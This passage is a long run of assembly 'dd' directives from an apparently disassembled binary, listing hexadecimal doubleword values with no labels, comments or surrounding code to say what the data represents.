dd 0C0F04719h, 0FB18ECF9h, 6C008C9Bh, 1A481913h, 301D6C2h
dd 0D437AFAAh, 8FE3CD84h, 166AC0C0h, 4D05A3Ch, 11C45DB2h
dd 0BF8287h, 0BB270228h, 93E90F91h, 944EC715h, 5621218Ch
dd 36270A00h, 143733D4h, 0CCCEA6Ch, 71D517A8h, 79186078h
dd 5F3146EDh, 0F06701F6h, 698BEA95h, 93108014h, 8FAF3107h
dd 0FCD30246h, 74507C90h, 30A8200Ch, 48405C2Eh, 0D600BF40h
dd 75BBD561h, 0CCB3DD12h, 1D214908h, 62D6B901h, 15957A8Bh
dd 0DEB67987h, 0D2DB5150h, 4B9F43F4h, 370E613Eh, 79F7A816h
dd 0F0BD9B30h, 663C0C62h, 83085298h, 5857C1C0h, 1B63BF9Bh
dd 0E1EA50F5h, 40E199E0h, 91B9BA02h, 807D30C2h, 0A61AC7A8h
dd 0E884686Eh, 2100D664h
dd 0E04F130h, 1C737831h, 466A6593h, 28680A95h, 0E401FCE6h
dd 737560A8h, 0E0FE9F17h, 640EFF88h, 60A77967h, 2360D6C0h
dd 4611C3D5h, 0D6B61E0Ch, 0C7002E0Eh, 0DFD81DD4h, 6F556CFh
dd 98AA9161h, 6905E074h, 42D4B529h, 26A5A400h, 3A22FE43h
dd 5600046Bh, 0D29B737Ah, 30C3831Ch, 0A6A4F4EFh, 0A11109A8h
dd 3C315170h, 40318B5h, 191BE27h, 20223294h, 5F270B89h
dd 1C8BB21Eh, 85FA434Ah, 7859B03Eh, 5F9DA9Dh, 4F5A2374h
dd 28E04067h, 25FEBFFDh, 0DC017BECh, 0F6201E7Ch, 0B8F4790Fh
dd 0DB00051h, 36DFEED2h, 47494405h, 0D3120744h, 104DB804h
dd 910AB001h, 615BEC42h, 188970F8h, 0A017B0A9h, 0EA812491h
dd 2474E017h, 0D31C2028h, 80E46DB6h, 265A944h, 0B3D55EE4h
dd 2007E09Ch, 0E22FD6B8h, 0C057E08Fh, 249DEE97h, 4F446F82h
dd 4F4090A8h, 0B12B29h, 0D7EECA5Eh, 2CFC24D4h, 47B8D0C1h
dd 0A45001AAh, 518DDCEFh, 0CAF0B04Eh, 166F20D8h, 386944h
dd 0CB902911h, 75E04C3Fh, 20188000h, 63B45696h, 44EC1510h
dd 0BA23F86Ah, 0C1270803h, 2B62F491h, 27108820h, 912139B7h
dd 0B4FD6380h, 0F7927D82h, 9C43EE03h, 72509Dh, 0A59A9189h
dd 0DF327DE2h, 0B0DCE63Fh, 0E946B84Ah, 0D960A70h, 8867CBh
dd 5680D660h, 0D90AEF0Bh, 8C728BFEh, 94F4D502h, 0ADF8A11Ch
dd 0A820224Ah, 0BE36025Fh, 42CDB5Eh, 0C4191048h, 0A6BA4814h
dd 2359F120h, 2410D518h, 0F01F6EF4h, 9097180Dh, 932C27D3h
dd 0F406179Bh, 54B83E11h, 14918449h, 0BC6820A2h, 2FE1D200h
dd 61A3979h, 4099FF30h, 6F47F4D1h, 0D7875880h, 1DBC83D6h
dd 6B958900h, 10146672h, 48F7FAFDh, 5613C853h, 0E02840F8h
dd 516E046Ah, 0A01B78C0h, 10CF6FE4h, 244A6CDAh, 0D2875467h
dd 2A85EC25h, 42A84078h, 5E200822h, 0E46B0267h, 284449A1h
dd 6CF420h, 54C2D96Dh, 0DA9E41EDh, 40705524h, 0E41ABA04h
dd 1207E0C1h, 25889303h, 103EA471h, 29141997h, 0CC351868h
dd 40DEC020h, 80E73995h, 1621E5B9h, 10326DEBh, 247D8696h
dd 0A84885Dh, 0E4C1BF61h, 0EA0077FCh, 5C9A49DCh, 0E64F4609h
dd 21342068h, 6F0EA294h, 4C1EA06Fh, 4F494D92h, 321820FEh
dd 0D3107DFBh, 7F4A038h, 208E827Bh, 1D862968h, 90A15ED9h
dd 78571888h, 0C08A1166h, 0F106D300h, 0E75C72ADh, 8208CC55h
dd 0A800A721h, 9EC861D3h, 27A8A12h, 2AF740E2h, 9882BACFh
dd 78C7162Eh, 27637EC4h, 2EA2BAABh, 0EECCED60h, 0D576287Dh
dd 90154026h, 0A265498Bh, 3594DA28h, 77822491h, 3444CF17h
dd 0D204690Bh, 4980032Fh, 0C46BBAC1h, 20454528h, 288CB8BCh
dd 4DE42706h, 2C882809h, 270E8A83h, 1FDB903Eh, 54FC0245h
dd 4C31D9BEh, 50F0E0A7h, 82842D12h, 2B16EEE2h, 0E801C293h
dd 850B324Ah, 7EB05CF8h, 9DC3460h, 649882A1h, 0E998D420h
dd 44D94895h, 0C1C14A3Dh, 534830F1h, 489FB480h, 9C5141F0h
dd 0D44540E1h, 80592408h, 0B05B1DFAh, 53FB4FFDh, 0B7F009CCh
dd 920A257Ch, 8870A4A2h, 0D18E420h, 0FD687173h, 44F498B7h
dd 0C24D557h, 90B13880h, 0FA028482h, 0F0362861h, 92052621h
dd 191FF7DAh, 1E04B005h, 0A8C33CD4h, 18190076h, 0FD2B5677h
dd 51C22DC4h, 405DCE06h, 280535ECh, 20347934h, 0F5F87CDAh
dd 18C127EAh, 88F70DEEh, 0D0948104h, 0CDE00016h, 4DA13217h
dd 0BA26E870h, 79572030h, 38B80629h, 10584C3Dh, 50585296h
dd 50828C10h, 6341F210h, 40144460h, 66F8FB50h, 0A21984E3h
dd 0BA008310h, 58C171C3h, 0C9107F65h, 4DDD3420h, 0A26304C0h
dd 0CC4821CFh, 0F0186258h, 7529C195h, 1F5C927Ch, 40889901h
dd 9A558710h, 4B0372B8h, 0B16EDFDh, 98C8DC63h, 0D04048A6h
dd 6CC00A88h, 21F0C99Bh, 659139C2h, 9B64B303h, 0F831B972h
dd 0F079C9F4h, 6719218Ah, 0C8D38948h, 58A0D40Fh, 75CDF20h
dd 0FD133773h, 0F00891A9h, 0E4690574h, 3A9C5696h, 2262368h
dd 0D1D9A965h, 0D06028E2h, 9001082Ah, 5F1A231Dh, 4865F404h
dd 23BD9C02h, 249AFCD3h, 0EF6B14C4h, 0A6580519h, 9BD80D8h
dd 0CBD56BD6h, 1B809C45h, 0C5BD6B7h, 0E3DA007Bh, 9BA92DD4h
dd 6CAB6A8Dh, 1C4C90C2h, 0BC48B05Ch, 24008C2Ch, 6BC2FACDh
dd 50703C50h, 0A814A49Fh, 88724FC4h, 0A104F9B3h, 54E5E88Ch
dd 22284082h, 0BCC8D917h, 0A9075E60h, 26AAA3B4h, 0C420728Eh
dd 53DFEED4h, 14509C60h, 5E028C10h, 52F0BF9Bh, 1081193Ch
dd 59B5659h, 84978B50h, 0C9BC084Ah, 8170758Dh, 122BBF4h
dd 0FEB2A0EDh, 0F71055F5h, 896DF100h, 17A5BCD0h, 0E07E0E56h
dd 75E75898h, 0D99051A4h, 79D8914Bh, 0C8533115h, 1BE99401h
dd 0C429BE9Dh, 247DDAC7h, 0B7900701h, 76AAA5F0h, 0F85F8420h
dd 7CE487E9h, 0A00AE260h, 0E4409E01h, 2ACAD89Fh, 0ED04D426h
dd 0D15E05ECh, 32FFDA14h, 69307C74h, 0A717183Dh, 0BA12FE35h
dd 0DA9B0C08h, 0ED281E8Fh, 2D4E0413h, 552E8806h, 47FD00E1h
dd 0F6503E96h, 0D4124A97h, 14C0302Ch, 48AE56BAh, 3110689Fh
dd 0EF4F0C6Ch, 2EED917h, 0E4F10DD9h, 20C83261h, 715868CAh
dd 0B0668BA0h, 11D3BB04h, 8885F0FFh, 0C3B4837Dh, 0DF8FED3h
dd 5600A0DAh, 0E8F73B84h, 24F1CE32h, 1138D9F4h, 0FC970671h
dd 1DF84C75h, 2E68A2C6h, 0C8954764h, 74F52D83h, 10D03D28h
dd 0C8184AB0h, 0DA00336Eh, 0A6407A4Dh, 0B854A293h, 0E9208098h
dd 7C598267h, 0FB184379h, 1BECE00h, 1E5E3357h, 9F48A02Fh
dd 1A87321h, 0F353711Ch, 0DD12A7ACh, 0DCEE21D7h, 8F07300Ch
dd 93CA879Bh, 0DCE65F40h, 0E0535CFBh, 0A4AB90C8h, 189C678h
dd 0F0BC109Eh, 3269329Dh, 413410E4h, 0A404044Eh, 484F0946h
dd 0DD618h, 25E69602h, 83D94B53h, 8079C53Bh, 803BE271h
dd 61B07569h, 10BA3084h, 0C4C0241Eh, 6D3BE07h, 0BE0946Fh
dd 987B520h, 5103E218h, 9E213490h, 9C17DA2Ch, 465C7048h
dd 2DC007Eh, 0C36417B8h, 525E28A5h, 7EE20060h, 0CBE13A5Ah
dd 0CF1E5C32h, 6C40F2A5h, 0D955C11Ah, 8A92C11h, 4BF92B4h
dd 5F357Ch, 2362AFAh, 98FC2ED5h, 31A98544h, 0C1EC575Ah
dd 40E8E555h, 7A3B35D8h, 18494484h, 860B0314h, 4AAB84B8h
dd 0D0DF9800h, 2512F1D2h, 70468A75h, 7F396C52h, 0CCEF0108h
dd 9A57005h, 0A0B8F86Dh, 0A1142106h, 40B07B88h, 6C4028C0h
dd 0DCEF0B10h, 80902E0Dh, 84821DF1h, 0BA6165CCh, 9DEC70D3h
dd 8B11CC93h, 0D3C2B100h, 0F5D8CE7Fh, 0BB95D600h, 76567E5Eh
dd 772A30A5h, 19CE10D0h, 22C6352h, 0F102D3BCh, 1081318Dh
dd 0BD3C4B3h, 0B8DB9550h, 0C8A81007h, 6B600B44h, 0F076BE9Bh
dd 63560487h, 0BD05C09Bh, 0DCB0C6BEh, 960A0775h, 4CD04DD2h
dd 834656h, 0C0C8B92Dh, 729327D4h, 0D0E226C9h, 84FC0814h
dd 0CE11A489h, 9B4640A4h, 261F9D0Dh, 5830A010h, 0FC7954FAh
dd 0FE84200Ch, 4E41A09h, 40E8CEC0h, 20A72082h, 4C031504h
dd 7980834h, 0CA9B67C0h, 0BC73E5F0h, 9B5FB283h, 4B23DFF8h
dd 6490D824h, 157B8260h, 0EFFF4C97h, 7DEA0C44h, 4B080524h
dd 0D0F6DCE7h, 0D4EBB744h, 19F4B790h, 309DA0AAh, 45807D11h
dd 2C28C054h, 1AA29002h, 4A702B53h, 58C4B2B4h, 61B522FCh
dd 12F3A4A1h, 40C3A9h, 0E55A188Eh, 0F49A1AD5h, 48C0147Eh
dd 8010AE55h, 60A41CF6h, 30231424h, 419E2B16h, 0DEEE37E4h
dd 8C2C4CD2h, 0F8D1FC79h
dd 0C5513F3Ch, 85122037h, 76F0670Eh, 62441015h, 1C893A9h
dd 0EA61ABAh, 0DB808E66h, 44049333h, 0EF017648h, 3D5239FCh
dd 0C1E83934h, 3CF10861h, 675F7501h, 1E1FE058h, 94F801B2h
dd 7198B672h, 0D478C2D1h, 1C665224h, 86A36384h, 0B304D7C0h
dd 6258078Eh, 707B13A9h, 0F376AE4Bh, 986E7F3Fh, 619841EEh
dd 745F1DDBh, 24A71617h, 5A9D0CDCh, 0D93C0420h, 43E11632h
dd 7B6148Ch, 58972EA6h, 0B084142Dh, 9CA0BFC8h, 0CA801F53h
dd 0CD60D98h, 0D4E0C401h, 28C273CCh, 0A1E631B8h, 0AE28E088h
dd 49D08720h, 0D0480C15h, 1023A8A2h, 9817B16h, 39494712h
dd 4BAB040Fh, 7E11EC9Fh, 40C4F880h, 0EE00279Ah, 0DA7B1BF7h
dd 0AA8F76E4h, 0FB06688h, 0A0DB77D0h, 38F99700h, 330F86B2h
dd 456EBAAEh, 90823EDDh, 64182258h, 0E00D046h, 8ABEAE27h
dd 8872F4F0h, 0F22EA3B4h, 0D25A70CEh, 2D350AB8h, 249C7D40h
dd 6DB50444h, 95790466h, 843A0A5h, 4F06CC90h, 0EE0919C1h
dd 0E754AA5h, 15E0665Ch, 48512D0h, 803484FEh, 3898D184h
dd 990B0776h, 67E55631h, 7F896468h, 847A8921h, 0CB60C49Ch
dd 0D5236DD6h, 724C11DBh, 18D6C500h, 0CA21EEFAh, 5BE49Eh
dd 0D9ED3AA2h, 5ACF8F9Bh, 0E0903090h, 71870D17h, 0B1216090h
dd 0FED4E5Dh, 979610C4h, 9CB03938h, 316D3BFh, 9C8BA5F1h
dd 0D3A7A800h, 2AC3DC6Bh, 904BC94Ah, 0C4C44798h, 0F7C36081h
dd 14E27C74h, 987E0CFBh, 770D1872h, 24D5C089h, 244A3027h
dd 0D859B580h, 0CCA058C3h, 0D56CD608h, 5741C4E3h, 0DBD8E8C0h
dd 0E361003Dh, 0ADA6D06Ch, 0DC136EA0h, 6C904101h, 6A29EC8Fh
dd 0AE41057h, 44986618h, 6BBF8249h, 0ED82D8D1h, 8056F1DCh
dd 51DAD420h, 1FB4859h, 0B81D612Dh, 98802B91h, 52F02843h
dd 790C1D05h, 84E18C7Dh, 0A0A906CAh, 26690822h, 1DD89118h
dd 0C7117019h, 4B0FD198h, 60CDFAB8h, 503D5D0Dh, 6AF83C71h
dd 0D4601D01h, 6DDCD0EEh, 0D1169EB0h, 8323B03Fh, 525820Bh
dd 8A45A74h, 0DC87262h, 8A109FFCh, 0C1A002E9h, 26FF8CB0h
dd 0E191BA08h, 42256493h, 60270755h, 30A1B590h, 1A192310h
dd 41748050h, 7C664800h, 3B0D7831h, 48BE025h, 623A9F23h
dd 3EE8C2A8h, 0F434EA20h, 0DCF1150Dh, 9E73E0C5h, 4C465EA0h
dd 2CD35902h, 0F0D2171Ch, 0FC54B648h, 0AB3A8C49h, 0E3E000FCh
dd 60618AF7h, 0E805312Bh, 6D9B6A61h, 45DD0154h, 9A58713Eh
dd 3354E404h, 25E40518h, 88519231h, 7359E54Fh, 0C95E7C00h
dd 0ACD9E44Ah, 0E21C9509h, 5E8454B0h, 54014446h, 2B944DE7h
dd 57DBD837h, 105FD30Ah, 90A5D462h, 906BC44Ch, 0E0EA0342h
dd 2C358112h, 0FB5C4FD1h, 3F19EEC0h, 0DA91870Ah, 5F94D81Bh
dd 48B222ACh, 90803875h, 0E6443292h, 0D3987900h, 0CFDD2CC2h
dd 0FDBC0058h, 0A057469Dh, 4146AFEh, 9F447F6h, 50E4D111h
dd 0F45F05C8h, 20F35106h, 2A9DEE8Ch, 0F60BC4B6h, 0DC40477h
dd 0C09B6160h, 965AF025h, 59580010h, 2578709Bh, 98020B7Dh
dd 7B272E09h, 8864FB1Fh, 18A481DCh, 0F631508h, 0B241DEB4h
dd 9A8676E0h, 6AC0ED21h, 5264B074h, 1A79C070h, 0F683C023h
dd 61742101h, 65DD177Ah, 0B8CA418Eh, 8BCE1064h, 0C176C8E8h
dd 0E020EE7Fh, 79D20FAAh, 8323F83Ah, 6AC32301h, 0C8478D07h
dd 6420F1ADh, 0F35040A0h, 86432CB2h, 303430F4h, 9B3F1809h
dd 9C4B5E46h, 509842CDh, 75C726B0h, 202901CCh, 448B2666h
dd 34B082F4h, 38ACB0F0h, 76D818C4h, 40C5A644h, 3D8B28DDh
dd 24BE48CEh, 63C4C1A4h, 41D86974h, 92A5F040h, 4198662h
dd 0C0E86AD4h, 8278B270h, 0F490C892h, 0EC27FCD3h, 2582971h
dd 8780C38h, 0CF9604A8h, 36608C99h, 80667144h, 0A4144FA5h
dd 1A850ECh, 5532DEB6h, 5C28F5B2h, 0DC66A004h, 0B484D341h
dd 47B1F9C0h, 93AA2Dh, 0A60497E8h, 840C9644h, 0E3168458h
dd 3084A2F0h, 6B12EE8Eh, 0E4E4D217h, 50440329h, 793A462h
dd 3E96261Fh, 0C8F47A05h, 0F78FF0F0h, 78850771h, 0B449E4EFh
dd 0F54ADA04h, 94062485h, 28A85066h, 4C0CA293h, 0D6308468h
dd 5EF4D1A9h, 103723Eh, 0F10ED71Ah, 519CD9FCh, 996DD867h
dd 5001B80Bh, 2ACA7531h, 5F6161E4h, 2CEB4088h, 8DFF6A00h
dd 0FC908E8h, 47B8DC62h, 5C17CD09h, 0DF808B91h, 7EE9D91Eh
dd 0AD881700h, 9BE0C95Ah, 51AC3AA3h, 0ECEE9D02h, 0D4A74DF5h
dd 9E6152DEh, 25E2E0C3h, 7CA0C324h, 0F85D45A5h, 6302A980h
dd 0DEE127D3h, 0DAA8A158h, 0FB006BD4h, 0A82025FCh, 0BE8C1475h
dd 42EA0C1h, 856A8128h, 4FB7101Fh, 0A9121120h, 444B118Eh
dd 651728C0h, 45CDC0C9h, 6080C43Ch, 0FC1368A9h, 0E8C426BFh
dd 5B738190h, 7219AAF8h, 0F3DC0164h, 4E8F6A67h, 60759C24h
dd 0CDE3497Bh, 650030BBh, 0A649D424h, 5D033609h, 0C32344CEh
dd 0BC270101h, 70EF191h, 0C2270953h, 614D14A2h, 4C68B608h
dd 0B928D32Ch, 41BCA058h, 0AF49078Ch, 0D0E985FFh, 0EB67FEE3h
dd 0F940E802h, 0C1652FD3h, 4150F88h, 4431A74h, 448060AEh
dd 2C2AFA46h, 593451A6h, 0FE71076h, 4FF61647h, 7424047Eh
dd 7D111E1Eh, 0D2FFC702h, 0D0D83EF4h, 0F9181030h, 78FC0Dh
dd 0B16E8F17h, 0F0CAFD03h, 2FE5700h, 0FA66A95Ah, 0F80B04E8h
dd 0C6ECF113h, 694CA03Bh, 8D12280h, 78BF0DEEh, 0C00F945h
dd 1F2950DCh, 96FCB192h, 0AE70204Fh, 0E200C12Bh, 808FAD0Eh
dd 27DACFB8h, 340D4F7Ch, 0BCC03CE1h, 0C8008C80h, 0AFA5A441h
dd 90134FDh, 0CAAB9B47h, 0DC12AC09h, 18C5A422h, 9E11C8C4h
dd 5E787A3Bh, 0CB24121Ch, 0C07FC8DCh, 0B728024Ch, 35D80E01h
dd 1050035Eh, 9E58C8CAh, 0B0DA3E66h, 829ED16h, 79891BC4h
dd 475C10F1h, 80A44AD9h, 0F30469A8h, 114C9F95h, 4D348120h
dd 66E4CCD4h, 24D73FADh, 4E816459h, 0A72C2A5h, 491D1018h
dd 0DE007E58h, 0B631D02Ah, 3124442h, 0B16B7549h, 29BEEA7Ah
dd 3B24A3FCh, 2D60648Fh, 9E159CF5h, 857B8414h, 241F2269h
dd 0ED608C9Bh, 0A0B52A01h, 32318533h, 0D5056428h, 0A4839404h
dd 0DCB284BCh, 7A7824h, 0FE0746A8h, 0BCDDAE5Ah, 232016A0h
dd 43300656h, 29727569h, 71FC9B01h, 0CDC29DA1h, 0D860B8C1h
dd 2B549C36h, 1A10BE70h, 0B551E70h, 0A6FCC865h, 7B0E88BDh
dd 62F4919Fh, 1035077h, 0AD500643h, 20E5999Ah, 550C931Ch
dd 8AC150E7h, 7D7810C0h, 5B405CB9h, 8415B803h, 5081BA30h
dd 1F1B214Fh, 0E62FC32h, 0E4296A48h, 171B10D2h, 8A3036A7h
dd 76C87E9Ch, 4F094A46h, 0F8024C93h, 0D30092EFh, 40106CF4h
dd 0AE4A9D50h, 0CD7568C1h, 0EC309C75h, 0AC3E49E5h, 410DAA11h
dd 84B6E0B8h, 0D8FD0680h, 773764Ah, 112D2E77h, 0DA88174h
dd 5C479103h, 460D080h, 98115CCCh, 664648Fh, 0B8A4FCB1h
dd 0A0038C25h, 10EB1714h, 0EF190011h, 6384EEA7h, 7E0A47D5h
dd 50FCB8D6h, 3D76C980h, 4E55CDDh, 7EC7296Ah, 14C705h
dd 25E398D2h, 0ADF02209h, 0FD0C4042h, 0C11B56Ah, 8B8CECC9h
dd 0ED57AF05h, 588BB0D9h, 0C920C8h, 35580118h, 4CA27D9Ch
dd 3E4F1481h, 0F9862390h, 0CAD20E86h, 0C045C8C4h, 4357E08Fh
dd 0C7910F14h, 0EE6005F4h, 0E1CDFCh, 2E6FE842h, 88053A9h
dd 0CD5BACCh, 0D29BE0C1h, 3A7EACh, 3D44DF70h, 85F84B39h
dd 59465CB8h, 4D3BE02h, 4459BDF1h, 25A6A563h, 4C644C20h
dd 0EE3D4E00h, 559CBB89h
dd 93E60723h, 0F59A4702h, 0AA8404B6h, 6694907Bh, 0A6E813F0h
dd 1C91A90Ch, 7DCF20B8h, 3008674h, 358A04EFh, 0EB47378h
dd 0C95194A6h, 0F5F9A7C1h, 0E270731Eh, 0E4E0331Fh, 1C2E06C5h
dd 0EB1E08A6h, 956A2D60h, 21148844h, 0E8D85742h, 0A5008C43h
dd 5B08DAE5h, 24EE18h, 6554A6B5h, 10C7F345h, 789180E3h
dd 97B2C19Ah, 0E4694C23h, 6F2F9445h, 709A1778h, 30993705h
dd 0AD569C02h, 71C84234h, 0A5F08490h, 2024CC16h, 815DAF2Dh
dd 702CD588h, 102C147Ch, 4D814064h, 7701277Fh, 0A372E10Ah
dd 7828CE0Ch, 788C83B8h, 2EEF135Dh, 0BA040966h, 0B05A80F0h
dd 2123982Eh, 0E46C2400h, 26774FF2h, 8346266h, 1B3D9992h
dd 8AF16DFCh, 43807C97h, 22946424h, 0A8D3253Eh, 446B24A0h
dd 90F47592h, 0A7873DCDh, 4704EA3Ah, 0BC4C20CAh, 8C80ECCCh
dd 89FD9400h, 127BD0D1h, 399F0218h, 883A9DF0h, 0E48B685Ch
dd 6A0CC81Ah, 0A7A1C067h, 0ACCA9181h, 3107DCB6h, 7A45A1F4h
dd 0E412EC25h, 0E1B0400Ch, 0E258BEBFh, 5294192h, 0AC91D40Dh
dd 98689A5Ch, 77DB1D09h, 0ED0C4CD0h, 6038B1ECh, 39526731h
dd 79D10C21h, 5E409618h, 0B08F9218h, 3C8B120Ch, 0B7CC48BDh
dd 0C02705C0h, 8694F491h, 872344h, 6B01270Dh, 2E142CD3h
dd 0DE1CA0B5h, 20712632h, 0CF12CCE9h, 38A0BE89h, 2E484116h
dd 4009F013h, 0C40845B1h, 74836022h, 909509FEh, 3C851EAAh
dd 4A20BC36h, 0BC2EEC17h, 0A4007F23h, 29D90428h, 17A71280h
dd 652820CFh, 546EC5ECh, 0C7DBE960h, 54D46270h, 54D4083Fh
dd 0D1C4995Ch, 7210182Bh, 0CF1D0FE8h, 0CD6E90BAh, 4A58DF00h
dd 0B605CA0Ch, 78FAAB18h, 8B5A70B9h, 0C165C844h, 0C4DCEF55h
dd 18121A5Fh, 0F4F4B4D9h, 0A85C8869h, 58FC2001h, 6F7F78FFh
dd 0F8511530h, 0FD2D0797h, 6BCAAD48h, 0F433B8A0h, 0A493387Dh
dd 25660200h, 4B7565D5h, 0C18C0396h, 5181DFEFh, 3D29A8B0h
dd 1C64649Eh, 0B3EECA4h, 82F4795Eh, 0CF4C10CEh, 0EF95009Ch
dd 0DFFDFE8Ch, 71DE005Ch, 0DC3D758Bh, 0AC1CDBCDh, 0DC24CA9Bh
dd 58B04F89h, 1B1030E8h, 0F36B4851h, 1E87E100h, 0BC3FDB4Ah
dd 31ED0375h, 481A5878h, 66C267F9h, 0D6C91E20h, 9CEBD58Bh
dd 0C3170034h, 47133FD6h, 9265B2Dh, 6608A8C8h, 0EEFA038Ah
dd 0E8A06A2Eh, 3D5C98D8h, 0DEB402D8h, 79372138h, 1FEDF1D4h
dd 725EEDC8h, 74842071h, 7D20EF4Ch, 8251EC93h, 40C0E318h
dd 6AC1EF9Dh, 8400919Ch, 1B582Ch, 2E9F17C0h, 5BB02010h
dd 0F563022h, 45D055C4h, 2C1647C1h, 99E4C4F0h, 4C08494Dh
dd 13E71700h, 0DCA64813h, 405309E0h, 0AB8AB500h, 1EEE7D21h
dd 0EDDA2F92h, 75F4E048h, 0B443CCAAh, 2888990Fh, 0DA3540E5h
dd 1D89B72Ah, 80640D93h, 40779EAh, 8B1F7DFCh, 0C6E750FFh
dd 18FD2034h, 8724F012h, 46F20CA2h, 0FAAA030h, 0CA4B29EDh
dd 0A240EE27h, 0CCEAEFF4h, 7E7954F1h, 0CA7D3E18h, 85AEF002h
dd 0FE794DD0h, 0F242C004h, 0A348F688h, 83760B0Ch, 5B48D269h
dd 0EC28C990h, 4B5B4604h, 7265BC05h, 68F5A481h, 3EFBFA00h
dd 0FC9C453Fh, 95B952Fh, 8098793Ch, 200BAEC3h, 28FAAD1h
dd 67F8128Fh, 0B5D06468h, 0E02981CAh, 34046C11h, 3C35F4h
dd 0CDFEF84Fh, 0BD6AFC1Eh, 0DA9DA410h, 0C05F9520h, 0EE8D4840h
dd 54F8D509h, 0B988039Dh, 993AF091h, 0AA480833h, 0FB024BC8h
dd 0F02678F4h, 0FC8D3840h, 0C8841AAh, 0C38FF663h, 0D914F418h
dd 80485DC5h, 0B5FFF889h, 6984408Fh, 6C783221h, 0AF981D0h
dd 13F8057Fh, 68DDF312h, 0C2529C20h, 0BEFB0088h, 0FCFD0B12h
dd 6754A948h, 2FD42070h, 7C411C0Ch, 0F0207A32h, 0E96DA697h
dd 0C2A8447Bh, 90314CC8h, 2C08B35Eh, 8C642568h, 344DFC29h
dd 1E5069Ch, 83045F1Ch, 337009D3h, 7CC07A96h, 20CD019h
dd 30F5BA40h, 0CB875E7Bh, 12DC4894h, 800488Fh, 61849A93h
dd 0E91203D6h, 62ADEE95h, 50C16968h, 8C3491C5h, 5F46C301h
dd 80502024h, 0D147A61Ah, 5B970CA9h, 0B2C1D184h, 544F2F70h
dd 0B9049054h, 81C86C9Bh, 839D595Ch, 8053548h, 0A9203C19h
dd 0F54DDD80h, 0B8865A4Eh, 0A460B21Fh, 0B516B4EAh, 68D23A91h
dd 0EEC2DD97h, 747B68F2h, 0E4425494h, 0AC8B0967h, 1D0B90DAh
dd 2470A294h, 0B882678Ch, 50A029F8h, 74B8A292h, 24D8A2BDh
dd 0A8F31056h, 5E8C7C8Ah, 0E6008046h, 9FE04834h, 9C99315Bh
dd 19A3000h, 1E6D2FEh, 0F2E4E142h, 0F4E7BA76h, 4F2F66B4h
dd 93D848EEh, 0BE6C0EC9h, 821D5864h, 0F37569BAh, 0EC8F30E8h
dd 0C0E194Ah, 28CB3783h, 0A2C184C8h, 203B9DB2h, 5EF57B68h
dd 9F96BF38h, 144001D9h, 2CD4C4D8h, 0F496FCh, 731F1759h
dd 0D078B26Eh, 963FD8A4h, 25B75CD2h, 9BD480C5h, 33048E90h
dd 411040DEh, 0C4E35EF2h, 0ED9ED8A7h, 0E0819597h, 0D0515431h
dd 21817578h, 5359D728h, 8B5AC41Fh, 0CDA9BD00h, 0B81642FBh
dd 4C551265h, 820CAC83h, 5ACA10C9h, 73DD3050h, 0A2DFD449h
dd 38BBB48h, 98315472h, 4D2930F2h, 0DE941AC0h, 66311F60h
dd 209D0646h, 0C31FBDEEh, 5204711h, 535CDD6Bh, 9374B08Bh
dd 0D0B9A56Ah, 188C0D0Ch, 10786F0h, 0DDD3D997h, 10F4C365h
dd 182658ABh, 765D5A10h, 465EE49Ch, 8A4E1D46h, 0C2612005h
dd 0C2ADAD83h, 6A186473h, 28A97Dh, 56D9106Eh, 0B51709AAh
dd 24A42A47h, 42F34A79h, 8CA16FE0h, 0C6063C7Ch, 751975F0h
dd 0CCA448h, 0CA252D3Bh, 0E2A99A29h, 2718B000h, 9178A4C1h
dd 307BE607h, 0A8395401h, 66004273h, 0C9B57518h, 0EADE7C68h
dd 0F3F43889h, 45221E04h, 1108C346h, 0C902CFBh, 0CF0464CAh
dd 0E50A5DC1h, 782804AAh, 0EAC6604Ch, 0DB50A015h, 943EE33h
dd 9C2E2950h, 390184F0h, 0DEE5F86h, 8C446E9Fh, 8DE1A4A3h
dd 429C085Ch, 0A5CA1066h, 11200EB9h, 0B480A92Dh, 95F041D4h
dd 9880864Bh, 12EE36D3h, 54B27706h, 9781F0FCh, 3E2D814Bh
dd 46A3C4Ah, 0E853007Eh, 0E9B694C6h, 0BC008AD0h, 0B48BAF3Dh
dd 308CD5F0h, 5D19EC69h, 0B5018DBAh, 7A94D6FEh, 0E900C540h
dd 0C23EB6C8h, 0B5911D3Dh, 0B41FD51Fh, 27B8E20Eh, 80BF87FAh
dd 0B78DD4E7h, 0C3E4E9EDh, 90E10E3Dh, 85E6F5C2h, 930928AEh
dd 80DBF1B7h, 92D9F65Dh, 0DAFB3026h, 7999EC40h, 0C8F86200h
dd 0DF3DBB8Bh, 2FC5038Ah, 51106C6Eh, 402679B8h, 899204A0h
dd 86D680C7h, 0A7C41BC0h, 1833735Ah, 79EFB779h, 9FF1D6F6h
dd 0E81BB571h, 153DA318h, 8E6B6E0h, 0EDB18D0Ch, 0EE146918h
dd 603850D3h, 646C7080h, 86D506F9h, 88D9F0B1h, 1E882126h
dd 567B5306h, 8EC60FE8h, 79801251h, 0B593408Dh, 0A0A540CAh
dd 0AACEFC00h, 880C65h, 0C639265Ch, 0D6101D6Fh, 16B38A0Ch
dd 0E8ABE1BAh, 6DFC0075h, 0DAEE566Ch, 92A57B6h, 0B2403CC4h
dd 0F6BE01B4h, 405CB0E3h, 3B31C8Ah, 0BAE9B1A1h, 204262C4h
dd 0B80C093Ch, 950C0F90h, 446C93Ch, 1D23DCA4h, 3A189CB1h
dd 0AB82E445h, 519EDCACh, 0AE2DF8h, 460C804h, 0AC0BB755h
dd 0ABF91402h, 0BC341057h, 21774121h, 90C4318Ch, 4781C748h
dd 21C6A3AAh, 4CA424B8h, 0D3896894h, 32005C5Dh, 0DA12EB58h
dd 0D2A0C804h, 4570014Bh, 0E124C03h, 45B5702Ch, 0E958908Ah
dd 62B4B992h, 57154E60h, 0AB825010h, 52317545h, 0A3B29474h
dd 0F3582168h, 0C843B017h, 2E9ADA9Bh, 0CFCBAD1h, 5F58172Ah
dd 88E1044Ah, 0C821940Eh
dd 4C0381C1h, 71E7C80Fh, 0DDC81A26h, 8A0A3871h, 0FC620C69h
dd 0F74F0274h, 0D968CE8h, 64710725h, 0F8DC9084h, 0F8C95C19h
dd 219720DEh, 0C404D380h, 981C013Bh, 648B6608h, 0FB887A68h
dd 52062E04h, 0A40B8C5Ch, 270F1E28h, 0E9D58C25h, 14C45918h
dd 6589405Fh, 68200C64h, 0D6E53972h, 955005DFh, 15AC5EEFh
dd 7D7F240Ch, 0C16580Dh, 1698D52Ah, 0A049FCEDh, 9C0F93BCh
dd 0E513EEC3h, 0B0569BF4h, 815E610Ch, 0C1263EDBh, 37EF5C92h
